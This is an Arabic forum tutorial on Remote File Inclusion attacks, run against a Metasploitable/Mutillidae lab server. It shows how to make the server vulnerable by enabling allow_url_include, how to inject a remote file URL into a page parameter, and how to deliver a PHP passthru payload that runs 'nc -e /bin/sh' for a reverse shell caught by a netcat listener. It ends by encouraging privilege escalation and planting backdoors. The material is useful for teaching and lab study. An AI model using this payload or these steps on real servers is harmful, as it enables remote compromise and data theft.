1. المدير العام

    المدير العام أدارة موقع أكتب كود

    هجمة RFI(Remote File Inclusion) والتي تعد النوع الثاني من هجمات الـFile inclusion، وكما وضحنا في شرح هجمة LFI طريقة عمل ومسببات هذه الثغرة، نبدأ الآن شرح هجمة الـRF

    ما الفرق بين الثغرتين؟
    الفرق بين الهجمتين واضح بمجرد فهم الإسم، فـLFI تعني Local File Inclusion بمعنى أنها محلية وينفذ فيها كل شي عن طريق السيرفر نفسه وداخله، بعكس RFI والتي تشير إلى Remote File Inclusion نلاحظ كلمة Remote وتدل الكلمة على أن ماسيتم فعله هو شيء خارج السيرفر.

    تنفيذ هجمة RFI
    لتنفيذ الهجمة عليك تجهيز التالي:
    -web server والموجود في أنظمة اللينكس كما تعودنا استخدامه.
    -سيرفر مستهدف، سنستخدم metasploitable في الشرح.
    -ملف txt يحتوي على كود PHP أو javascript خبيث ينفذ ماتريد تنفيذه.
    -إعداد السيرفر لكي تصبح فيه الثغرة.(سنشرحها في الخطوات الآن)

    *لتهيئة وإعداد السيرفر لكي يصبح معرضاً للهجمة قم بالدخول إلى السيرفر من نفس الـVirtual Machine، ثم اذهب إلى المسار التالي: etc/php5/cgi

    ثم أدخل الأمر التالي للتتعديل على الملف:
    كود:
    nano php.ini
    ثم اضغط ctrl+w للبحث عن كلمة allow_url وسينقلنا إلى هذه السطور:

    [​IMG]
    نقوم بتغيير الإعداد allow_url_include = Off
    إلى On

    وهنا تكمن المشكلة في ترك هذه الإعداد على On عند أغلب المبرمجين بدون أي حمايات فيصبح السيرفر معرضاً للهجمة.
    ثم نضغط ctrl+x للخروج، سيسأل عن ما إذا كنت ترغب بحفظ التغييرات أو لا، نجيب بـY ثم enter مرة أخرى ونخرج من الملف.

    بعد ذلك نعيد تشغيل سيرفر الأباتشي عن طريق الأمر:
    كود:
    sudo etc/init.d/apache2 restart
    وننتظر إلى أن ينتهى من إعادة التشغيل.

    نبدأ الهجمة:
    أولاً نقوم بالدخول إلى أحد تطبيقات الـmetasploitable المتاحة، سأستخدم mutilidae أثناء الشرح.
    ثم ندخل إلى الصفحة المعرضة لهجمات الـFile Include.
    سيكون الرابط كالتالي:
    كود:
     http://192.168.1.126/mutillidae/index.php?page=text-file-viewer.php
    وبعكس ما شرحنا في موضوع ثغرة الـLFI، سنقوم هنا بمناداة الملف الخبيث من سيرفر آخر، ويتم ذلك بالطريقة التالية:
    يكون الملف جاهزاً في السيرفر الآخر بشرط أن يكون كود خبيث ويحفظ بصيغة .txt وليس .php أو غيره لكي لا يتم تنفيذه في السيرفر المهاجم ويمكنك تجربة ذلك أثناء تطبيقك للهجمة.
    نقوم بتغيير اسم الملف من “text-file-viewer.php” إلى “http://IP:PORT/filename”
    في حالتي سيبدو الرابط المحقون كالتالي:
    كود:
     http://192.168.1.113:8000/Desktop/shell.txt
    لكن قبل أن نقوم بأي شيء سنقوم باستعراض الكود الذي سنحقنه لنفهم ما سيحدث بالتحديد

    [​IMG]
    هذا هو الكود المستخدم:
    كود:
    <?
     passthru("nc -e /bin/sh IP PORT")
    ?>
    استخدمنا الخاصية passthru وهي خاصية متوفرة في لغة php وتقوم بتنفيذ أوامر النظام اعتماداً على نوعه سواءً كان ويندوز أو لينكس أو غيره، ثم وضعنا داخلها الأمر
    كود:
    nc -e /bin/sh IP PORT
    والذي سيقوم بإرسال اتصال إلى الـIP المحدد عن طريق البورت المحدد في الأمر.
    قبل أن نقوم بضغط enter في المتصفح وننفذ الهجمة يجب أن نقوم بفتح listener لنستطيع استقبال الإتصال الذي سيفتح عن طريق السيرفر المستهدف تنفيذاً للكود الخبيث الذي هاجمنا به.

    -سنفتح تيرمنال جديد وندخل الأمر:
    كود:
    nc -lvp PORT
    باستخدام رقم البورت المستخدم في الكود الخبيث الذي نفذنا به الهجمة.
    نعود للمتصفح الآن وننفذ الهجمة وننتظر وصول الإتصال، عند وصوله نقوم بالتجول في السيرفر وفعل كل مانريد فعله من ترقية للصلاحيات واستعراض معلومات حساسة ورفع backdoors وكل ما نريد فعله سيكون متاحاً أمامنا.
     
جاري تحميل الصفحة...
الوسوم: